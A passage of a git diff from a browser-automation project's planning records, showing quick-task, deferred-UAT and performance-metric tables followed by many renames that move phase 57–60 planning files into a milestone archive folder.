T1-ready | 2026-06-30 | working-tree | | [260630-mgf-make-this-app-tumblr-t1-ready](./quick/260630-mgf-make-this-app-tumblr-t1-ready/) | +| 260630-m4c | Promote bsky public AppView reads to T1-ready | 2026-06-30 | working-tree | | [260630-m4c-promote-bsky-public-appview-reads-to-t1-](./quick/260630-m4c-promote-bsky-public-appview-reads-to-t1-/) | +| 260630-m1q | Make this app Stripe T1-ready | 2026-06-30 | working-tree | | [260630-m1q-make-this-app-stripe-t1-ready](./quick/260630-m1q-make-this-app-stripe-t1-ready/) | +| 260630-m0u | Make Meticulous same-origin GraphQL reads T1-ready | 2026-06-30 | working-tree | | [260630-m0u-make-this-app-meticulous-t1-ready](./quick/260630-m0u-make-this-app-meticulous-t1-ready/) | +| 260630-m35 | Make this app twilio T1-ready | 2026-06-30 | working-tree | | [260630-m35-make-this-app-twilio-t1-ready](./quick/260630-m35-make-this-app-twilio-t1-ready/) | +| 260630-m1a | Make Cloudflare T1-ready with same-origin dashboard read handlers | 2026-06-30 | working-tree | | [260630-m1a-make-cloudflare-app-t1-ready-by-adding-s](./quick/260630-m1a-make-cloudflare-app-t1-ready-by-adding-s/) | +| 260630-m2u | Promote X public same-origin profile and tweet reads to T1-ready | 2026-06-30 | working-tree | | [260630-m2u-promote-x-public-same-origin-profile-and](./quick/260630-m2u-promote-x-public-same-origin-profile-and/) | +| 260630-m16 | Make Terraform Cloud T1-ready | 2026-06-30 | working-tree | | [260630-m16-make-terraform-cloud-t1-ready](./quick/260630-m16-make-terraform-cloud-t1-ready/) | +| 260630-lhy | Promote Zillow public same-origin search reads to T1-ready | 2026-06-30 | working-tree | | [260630-lhy-promote-another-safe-same-origin-public-](./quick/260630-lhy-promote-another-safe-same-origin-public-/) | +| 260630-l0o | Promote TripAdvisor public same-origin reads to T1-ready | 2026-06-30 | working-tree | | [260630-l0o-promote-another-safe-same-origin-public-](./quick/260630-l0o-promote-another-safe-same-origin-public-/) | +| 260630-kqt | Promote Yelp public same-origin reads to T1-ready | 2026-06-30 | working-tree | | [260630-kqt-promote-one-more-safe-same-origin-public](./quick/260630-kqt-promote-one-more-safe-same-origin-public/) | +| 260630-kg0 | Promote npm public same-origin Spiferack reads to T1-ready | 2026-06-30 | working-tree | | [260630-kg0-promote-npm-public-same-origin-read-hand](./quick/260630-kg0-promote-npm-public-same-origin-read-hand/) | +| 260630-hct | Anonymous aggregate state-level region telemetry (IP-derived at ingest, k≥5 floor, self-hosted DB-IP, graceful "unknown" until dataset present) | 2026-06-30 | e2a1b67a..8edf3525 | | [260630-hct-anon-region-telemetry](./quick/260630-hct-anon-region-telemetry/) | +| 260630-k18 | Promote Hacker News public same-origin HTML reads to T1-ready | 2026-06-30 | working-tree | | [260630-k18-promote-hacker-news-public-same-origin-h](./quick/260630-k18-promote-hacker-news-public-same-origin-h/) | +| 260630-hgl | Promote Wikipedia public same-origin reads to T1-ready | 2026-06-30 | working-tree | | [260630-hgl-promote-wikipedia-public-same-origin-rea](./quick/260630-hgl-promote-wikipedia-public-same-origin-rea/) | +| 260630-ha5 | Promote LeetCode query-only same-origin reads to T1-ready | 2026-06-30 | working-tree | | [260630-ha5-promote-leetcode-query-only-same-origin-](./quick/260630-ha5-promote-leetcode-query-only-same-origin-/) | +| 260630-gry | Promote Shortcut no-param same-origin reads to app-specific T1a handler proof | 2026-06-30 | working-tree | | [260630-gry-promote-next-safe-same-origin-read-recip](./quick/260630-gry-promote-next-safe-same-origin-read-recip/) | +| 260629-ksj | Support i18n internationalization for latest updated showcase content | 2026-06-29 | working-tree | | [260629-ksj-support-i18n-internationalization-for-la](./quick/260629-ksj-support-i18n-internationalization-for-la/) | + +- ~~39-03 cold-start circuit-breaker FLAG (the eval smoke index reached 93.3KB / 96KB after the retail/marketplace sub-batch)~~ **RESOLVED by 39-04** per the orchestrator decision: the smoke byte ceiling was widened 96KB->512KB (the 96KB ceiling was sized for a tiny corpus; 39-04 reached 108.6KB at a flat 570 bytes/descriptor -- legitimate linear corpus growth, NO params-leak/layout regression). The tight <10ms load-time assert (the real cold-start latency concern) is KEPT, and a NEW per-descriptor footprint flatness check (<700 bytes/descriptor -- the real params-leak regression signal) was ADDED. 512KB is well within the SCALE-01 ~1-2MB full-corpus target; the authoritative full-corpus SCALE-01 cold-start gate (size + load-time) remains Phase 43, kept separate. 39-05/06 have ample headroom under 512KB. + +## Deferred Items + +Items acknowledged and carried forward from previous milestone closes (Chrome MV3/manual UAT evidence gaps, not fabricated passes; procedures archived under `.planning/milestones/*/` and `.planning/phases/*/`). None of this debt blocks v0.9.91. + +| Category | Item | Status | Deferred At | +|----------|------|--------|-------------| +| uat_gap | Phase 63 Plans 05-06 (real POSIX ownership/modes, Windows HKCU/WOW64/PE/bootstrap behavior, Chrome discovery, production CLI composition, installed launcher/native execution) | deferred to v0.9.91 milestone end; human_needed | Phase 63 Plan 06 | +| uat_gap | Phase 62 / 62-HUMAN-UAT.md (installed doctor/genuine stream, compatibility layout, keyboard/accessibility/live refresh) | deferred to v0.9.91 milestone end; 3 scenarios | Phase 62 Plan 06 | +| uat_gap | Phase 61 / 61-HUMAN-UAT.md (consent/theme/handoff, authenticated stream, worker eviction, 45-minute endurance, POSIX lifecycle, daemon restart classification) | deferred to v0.9.91 milestone end; 8 scenarios | Phase 61 Plan 08 | +| uat_gap | Phase 60 / 60-HUMAN-UAT.md (authenticated isolation, genuine JSONL provenance, live MCP read, POSIX/Windows tree kill, crash recovery, browser ownership/vault/consent) | deferred to v0.9.91 milestone end; 7 scenarios | Phase 60 Plan 04 | +| uat_gap | Phase 59 / 59-HUMAN-UAT.md (live pair, daemon restart invalidation, Chrome session clearing, accessibility/theme) | deferred to v0.9.91 milestone end; 4 scenarios | Phase 59 Plan 04 | +| uat_gap | Phase 58 / 58-HUMAN-UAT.md + 58-VISUAL-QA.md (live Providers theme/responsive/keyboard/motion and extension-state checks) | deferred to v0.9.91 milestone end; 12 scenarios | Phase 58 Plan 03 | +| uat_gap | v1.2.0 Phase 53 / 53-VISUAL-QA.md (VISUAL-01 live DE/CJK browser visual spot-check) | human_needed | v1.2.0 Phase 53 | +| uat_gap | Phase 27 / 27-HUMAN-UAT.md (live FETCH-05 logged-in-shape UAT-27-01 + contrast + origin-pin) | human_needed; 3 scenarios | v0.9.99 Phase 27 | +| uat_gap | Phase 29 / 29-HUMAN-UAT.md ([ASSUMED] internal-endpoint live capture) | human_needed | v0.9.99 Phase 29 | +| uat_gap | Phase 30 / 30-HUMAN-UAT.md (UAT-30-01 live render/Grant/badge smoke) | human_needed | v0.9.99 Phase 30 | +| uat_gap | Phase 31 / live discovery UAT | human_needed | v0.9.99 Phase 31 | +| uat_gap | Phase 32 / 32-HUMAN-UAT.md (UAT-32-01 live self-healing) | human_needed; partial | v0.9.99 Phase 32 | +| uat_gap | Phase 33 / 33-HUMAN-UAT.md (live media playback fidelity) | human_needed | v0.9.99 Phase 33 | +| uat_gap | Phase 34 / 34-HUMAN-UAT.md (live upload fidelity) | partial: UAT-34-02 pass; UAT-34-01 MCP text-file smoke pass, binary/submit checks still human_needed; UAT-34-03/04 still human_needed | v0.9.99 Phase 34 | +| uat_gap | Phases 01/16/20/25 (v0.10/v0.11/v0.12 live-browser) | human_needed/partial | prior closes | +| i18n_debt | WARNING-02 picker-cookie short-circuits bare-`/` Accept-Language redirect | closed in v1.2.0 Phase 56 (ROUTE-01/02) | v0.9.63, carried 6+ milestones | + +Carry-forward publish/tag gates (pre-existing, user-gated): `npm publish fsb-mcp-server@0.9.0`; `npm publish fsb-mcp-server@0.10.0`; branch + tag pushes for v0.9.62 / v0.9.63 / v0.9.69 / v0.10.0 / v0.11.0 / v0.12.0 / v1.2.0; `clawhub publish "skills/FSB Skill"`; public package publication. None of this blocks v0.9.91. + +v2 deferred (see REQUIREMENTS.md v0.9.91 v2 section): CHAT-FUTURE-01/02 (chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` + per-thread cwd pinning); GEMINI-FUTURE-01 (Gemini CLI adapter after live `--help` capture + JSONL schema pinning); ACP-FUTURE-01 (`@zed-industries/agent-client-protocol` unification once ≥2 non-Claude adapters have shipped); REMOTE-FUTURE-01 (remote/mobile delegation surfaces — v0.9.91 is explicitly localhost-only). + +## Session Continuity + +Last session: 2026-07-22T18:44:34.205Z +Stopped at: Phase 65 automated verification passed; human UAT65-01 through UAT65-03 pending +Resume file: None + +## Next Actions + +Execute 64-10-PLAN.md next. Generalize durable event/controller hydration and safe per-adapter drift diagnostics while preserving the canonical accepted-run provider context established in Plan 09. + +## Performance Metrics + +| Phase | Plan | Duration | Notes | +|-------|------|----------|-------| +| Phase 63 P01 | 58 min | 3 tasks | 13 files | +| Phase 63 P02 | 18 min | 2 tasks | 5 files | +| Phase 63 P03 | 16 min | 3 tasks | 6 files | +| Phase 63 P04 | 27 min | 2 tasks | 10 files | +| Phase 63 P05 | 36 min | 3 tasks | 6 files | +| Phase 63 P06 | 24 min | 2 tasks | 4 files | +| Phase 63 P07 | 14 min | 2 tasks | 4 files | +| Phase 63 P08 | 28 min | 3 tasks | 5 files | +| Phase 63 P09 | 17 min | 2 tasks | 3 files | +| Phase 63 P10 | 25 min | 3 tasks | 7 files | +| Phase 63 P11 | 5h 26m | 3 review tasks | 38 files | +| Phase 63 P12 | 34min | 2 tasks | 1 files | +| Phase 64 P01 | 30 min | 1 task | 9 files | +| Phase 64 P02 | 27 min | 1 task | 7 files | +| Phase 64 P03 | 32 min | 1 task | 3 files | +| Phase 64 P04 | 36 min | 3 tasks | 4 files | +| Phase 64 P05 | 41 min | 1 task | 9 files | +| Phase 64 P06 | 38 min | 2 tasks | 13 files | +| Phase 64 P07 | 48 min | 3 tasks | 2 files | +| Phase 64 P08 | 49 min | 3 tasks | 6 files | +| Phase 64 P09 | 42 min | 3 tasks | 14 files | +| Phase 64 P10 | 31 min | 3 tasks | 9 files | +| Phase 64 P11 | 13 min | 2 tasks | 6 files | +| Phase 64 P12 | 14 min | 2 tasks | 7 files | +| Phase 64 P13 | 30 min | 3 tasks | 9 files | +| Phase 65 P01 | 22 min | 2 tasks | 6 files | +| Phase 65 P02 | 15 min | 2 tasks | 4 files | +| Phase 65 P03 | 20 min | 2 tasks | 6 files | +| Phase 65 P04 | 46 min | 3 tasks | 11 files | +| Phase 65 P05 | 1h 4m | 1 tasks | 32 files | +| Phase 65 P06 | 40 min | 2 tasks | 16 files | +| Phase 65 P07 | 21m | 2 tasks | 8 files | +| Phase 65 P08 | 55m | 2 tasks | 22 files | diff --git a/.planning/phases/57-agent-identity-capture/57-01-PLAN.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-01-PLAN.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-01-PLAN.md diff --git a/.planning/phases/57-agent-identity-capture/57-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-01-SUMMARY.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-01-SUMMARY.md diff --git a/.planning/phases/57-agent-identity-capture/57-02-PLAN.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-02-PLAN.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-02-PLAN.md diff --git a/.planning/phases/57-agent-identity-capture/57-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-02-SUMMARY.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-02-SUMMARY.md diff --git a/.planning/phases/57-agent-identity-capture/57-03-PLAN.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-03-PLAN.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-03-PLAN.md diff --git a/.planning/phases/57-agent-identity-capture/57-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-03-SUMMARY.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-03-SUMMARY.md diff --git a/.planning/phases/57-agent-identity-capture/57-CONTEXT.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-CONTEXT.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-CONTEXT.md diff --git a/.planning/phases/57-agent-identity-capture/57-DISCUSSION-LOG.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-DISCUSSION-LOG.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-DISCUSSION-LOG.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-DISCUSSION-LOG.md diff --git a/.planning/phases/57-agent-identity-capture/57-RESEARCH.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-RESEARCH.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-RESEARCH.md diff --git a/.planning/phases/57-agent-identity-capture/57-REVIEW-FIX.iter2.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW-FIX.iter2.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-REVIEW-FIX.iter2.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW-FIX.iter2.md diff --git a/.planning/phases/57-agent-identity-capture/57-REVIEW-FIX.iter3.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW-FIX.iter3.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-REVIEW-FIX.iter3.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW-FIX.iter3.md diff --git a/.planning/phases/57-agent-identity-capture/57-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW-FIX.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW-FIX.md diff --git a/.planning/phases/57-agent-identity-capture/57-REVIEW.iter2.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW.iter2.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-REVIEW.iter2.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW.iter2.md diff --git a/.planning/phases/57-agent-identity-capture/57-REVIEW.iter3.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW.iter3.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-REVIEW.iter3.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW.iter3.md diff --git a/.planning/phases/57-agent-identity-capture/57-REVIEW.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-REVIEW.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-REVIEW.md diff --git a/.planning/phases/57-agent-identity-capture/57-UI-REVIEW.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-UI-REVIEW.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-UI-REVIEW.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-UI-REVIEW.md diff --git a/.planning/phases/57-agent-identity-capture/57-UI-SPEC.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-UI-SPEC.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-UI-SPEC.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-UI-SPEC.md diff --git a/.planning/phases/57-agent-identity-capture/57-VALIDATION.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-VALIDATION.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-VALIDATION.md diff --git a/.planning/phases/57-agent-identity-capture/57-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-VERIFICATION.md similarity index 100% rename from .planning/phases/57-agent-identity-capture/57-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/57-agent-identity-capture/57-VERIFICATION.md diff --git a/.planning/phases/58-providers-panel/58-01-PLAN.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-01-PLAN.md similarity index 100% rename from .planning/phases/58-providers-panel/58-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-01-PLAN.md diff --git a/.planning/phases/58-providers-panel/58-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-01-SUMMARY.md similarity index 100% rename from .planning/phases/58-providers-panel/58-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-01-SUMMARY.md diff --git a/.planning/phases/58-providers-panel/58-02-PLAN.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-02-PLAN.md similarity index 100% rename from .planning/phases/58-providers-panel/58-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-02-PLAN.md diff --git a/.planning/phases/58-providers-panel/58-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-02-SUMMARY.md similarity index 100% rename from .planning/phases/58-providers-panel/58-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-02-SUMMARY.md diff --git a/.planning/phases/58-providers-panel/58-03-PLAN.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-03-PLAN.md similarity index 100% rename from .planning/phases/58-providers-panel/58-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-03-PLAN.md diff --git a/.planning/phases/58-providers-panel/58-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-03-SUMMARY.md similarity index 100% rename from .planning/phases/58-providers-panel/58-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-03-SUMMARY.md diff --git a/.planning/phases/58-providers-panel/58-CONTEXT.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-CONTEXT.md similarity index 100% rename from .planning/phases/58-providers-panel/58-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-CONTEXT.md diff --git a/.planning/phases/58-providers-panel/58-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-HUMAN-UAT.md similarity index 100% rename from .planning/phases/58-providers-panel/58-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-HUMAN-UAT.md diff --git a/.planning/phases/58-providers-panel/58-RESEARCH.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-RESEARCH.md similarity index 100% rename from .planning/phases/58-providers-panel/58-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-RESEARCH.md diff --git a/.planning/phases/58-providers-panel/58-REVIEW-FIX.iter2.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW-FIX.iter2.md similarity index 100% rename from .planning/phases/58-providers-panel/58-REVIEW-FIX.iter2.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW-FIX.iter2.md diff --git a/.planning/phases/58-providers-panel/58-REVIEW-FIX.iter3.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW-FIX.iter3.md similarity index 100% rename from .planning/phases/58-providers-panel/58-REVIEW-FIX.iter3.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW-FIX.iter3.md diff --git a/.planning/phases/58-providers-panel/58-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW-FIX.md similarity index 100% rename from .planning/phases/58-providers-panel/58-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW-FIX.md diff --git a/.planning/phases/58-providers-panel/58-REVIEW.iter2.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW.iter2.md similarity index 100% rename from .planning/phases/58-providers-panel/58-REVIEW.iter2.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW.iter2.md diff --git a/.planning/phases/58-providers-panel/58-REVIEW.iter3.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW.iter3.md similarity index 100% rename from .planning/phases/58-providers-panel/58-REVIEW.iter3.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW.iter3.md diff --git a/.planning/phases/58-providers-panel/58-REVIEW.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW.md similarity index 100% rename from .planning/phases/58-providers-panel/58-REVIEW.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-REVIEW.md diff --git a/.planning/phases/58-providers-panel/58-UI-SPEC.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-UI-SPEC.md similarity index 100% rename from .planning/phases/58-providers-panel/58-UI-SPEC.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-UI-SPEC.md diff --git a/.planning/phases/58-providers-panel/58-VALIDATION.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-VALIDATION.md similarity index 100% rename from .planning/phases/58-providers-panel/58-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-VALIDATION.md diff --git a/.planning/phases/58-providers-panel/58-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-VERIFICATION.md similarity index 100% rename from .planning/phases/58-providers-panel/58-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-VERIFICATION.md diff --git a/.planning/phases/58-providers-panel/58-VISUAL-QA.md b/.planning/milestones/v0.9.91-phases/58-providers-panel/58-VISUAL-QA.md similarity index 100% rename from .planning/phases/58-providers-panel/58-VISUAL-QA.md rename to .planning/milestones/v0.9.91-phases/58-providers-panel/58-VISUAL-QA.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-01-PLAN.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-01-PLAN.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-01-PLAN.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-01-SUMMARY.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-01-SUMMARY.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-02-PLAN.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-02-PLAN.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-02-PLAN.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-02-SUMMARY.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-02-SUMMARY.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-03-PLAN.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-03-PLAN.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-03-PLAN.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-03-SUMMARY.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-03-SUMMARY.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-04-PLAN.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-04-PLAN.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-04-PLAN.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-04-PLAN.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-04-SUMMARY.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-04-SUMMARY.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-04-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-04-SUMMARY.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-CONTEXT.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-CONTEXT.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-CONTEXT.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-HUMAN-UAT.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-HUMAN-UAT.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-PATTERNS.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-PATTERNS.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-PATTERNS.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-PATTERNS.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-RESEARCH.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-RESEARCH.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-RESEARCH.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-REVIEW-FIX.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-REVIEW-FIX.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-REVIEW.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-REVIEW.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-REVIEW.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-REVIEW.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-VALIDATION.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-VALIDATION.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-VALIDATION.md diff --git a/.planning/phases/59-reverse-request-channel-security-foundation/59-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-VERIFICATION.md similarity index 100% rename from .planning/phases/59-reverse-request-channel-security-foundation/59-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/59-reverse-request-channel-security-foundation/59-VERIFICATION.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-01-PLAN.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-01-PLAN.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-01-PLAN.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-01-SUMMARY.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-01-SUMMARY.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-02-PLAN.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-02-PLAN.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-02-PLAN.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-02-SUMMARY.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-02-SUMMARY.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-03-PLAN.md 